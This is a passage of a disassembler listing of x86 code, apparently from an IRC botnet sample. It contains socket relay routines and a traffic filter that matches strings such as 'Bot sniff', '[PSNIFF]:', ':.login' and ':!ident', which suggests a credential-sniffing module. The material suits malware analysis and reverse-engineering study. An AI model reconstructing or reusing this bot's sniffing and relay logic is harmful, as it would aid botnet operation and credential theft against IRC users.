loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA74
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CBA24h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BAA415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E96Ch,	50EC458Dh, 5015FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CBA4Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0A068FFFFh, 500042BCh, 0A5E5E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBAB815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0B015FFE0h, 50004CBAh, 0FD2C858Dh, 4868FFFFh, 50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E96488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 26E72DE8h, 4D8B9002h, 34C969C8h, 3B000002h, 748189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0E699E890h
		dd 0EDEB0226h, 26F13DE8h, 8D509002h, 0FFFD2C85h, 570C68FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 0BC15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356D868h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22CE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E96Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CBA0Ch, 1875C085h, 15FF36FFh, 4CBABCh, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22CE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CBA3C15h,	7FC08500h, 0FF36FF18h
		dd 4CBABC15h, 875FF00h,	0FF9859E8h, 905359FFh, 2CE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 58106850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 7415FF36h, 0FF004CBAh, 0BC15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022CE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 0A415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB9B8h, 57D06850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 7415FF36h, 0FF004CBAh, 0BC15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h,	8D022CE0h
		dd 106AE845h, 15FF5750h, 4CB9CCh, 75FFF883h, 0B815FF5Dh
		dd 50004CB9h, 43578C68h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA7415FFh, 36FF004Ch, 0BABC15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Ch, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA7415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0BC15FF57h, 0FF004CBAh
		dd 0BC15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 81E89053h
		dd 0FF022CDFh, 0BC15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
; ---------------------------------------------------------------------------
		fild	qword ptr [edx+eax]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CBA0C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB910
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CBA3C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB910
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA3C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BAA415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	226E1FBh
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022CDDh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CBA04h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CBA04h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E96CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 2415FFFFh
		dd 66004CBAh, 8DD64589h, 106AD445h, 5D895650h, 5015FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 34E89000h, 0FF0226E1h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0E101E890h, 8D530226h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh
		dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF93B9E8h, 1CC483FFh, 0D9E89053h, 8B022CDCh, 9F39087Dh
		dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0BA0C15FFh, 0C085004Ch
		dd 2218E0Fh, 0D8A00000h, 8B0043DBh, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 0FC15FF56h, 0FF004CB9h, 4589C875h, 0B015FFF8h, 50004CBAh
		dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh
		dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA8815FFh, 9D39004Ch
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h
		dd 0FFFF31BDh, 850F04FFh, 0EDh,	0FF338D8Ah, 858AFFFFh
		dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
		dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh,	0E7E85001h
		dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh,	478D50F4h
		dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA8815h, 75FB3B00h
		dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 43585Ch, 9D18E850h
		dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h,	0FFFFF888h
		dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
		dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h
		dd 0E52C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
		dd 435850h, 8815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h
		dd 56087D8Bh, 0BABC15FFh, 75FF004Ch, 9479E8FCh,	8DFF0000h
		dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
		dd 0FFFF90FAh, 0E8905359h, 22CDA1Ch, 3E868h, 0F8E89000h
		dd 570226DDh, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435898


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436C04
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436498
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB9A815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB9C015h, 200BB00h
		dd 86A0000h, 26DCDEE8h,	15FF9002h, 4CB9A8h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB9C015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C8C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C8C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 6C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9F0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB9A815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB9C015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 8C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43649Ch, 15FF106Ah, 4CB8F8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9F0h, 7480C4F6h, 0FF146A7Bh, 4CB8F815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8F815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 0A815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB9C0h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C546850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436C38h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B9A815FFh
		dd 4D8D004Ch, 513C6AB8h, 0C015FF50h, 83004CB9h,	7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436C2468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6C0C6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436BCCFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 0E8006A59h, 22CD4A0h
		db 90h
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0BA2415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA6415h, 36A5600h,	4589026Ah
		dd 0A415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 0B815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 0EC68FFFFh, 50004375h, 9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0D3CAE890h, 458B022Ch, 69106AD0h,	234C0h
		dd 6CB88900h, 8D0043E9h, 5750E445h, 0BA5015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB9B815h, 858D5000h, 0FFFFFD4Ch, 4375C068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0BC15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0D346E856h
		dd 5690022Ch, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB9D015h, 0FFF88300h, 15FF6475h, 4CB9B8h, 4C858D50h
		dd 68FFFFFDh, 437590h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BABC15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 0D2C2E890h, 0BB53022Ch, 436CA8h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CBA3Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 757468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B95415FFh, 0B70F004Ch, 75FF50C0h, 0B015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6CBCC504h, 34FF0043h, 436C9885h, 4C858D00h
		dd 68FFFFFDh, 437540h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 0B815FFFFh, 50004CB9h
		dd 43751468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBABC15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2CD123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE784, eax
		mov	eax, offset dword_4CE784
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43AD30o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
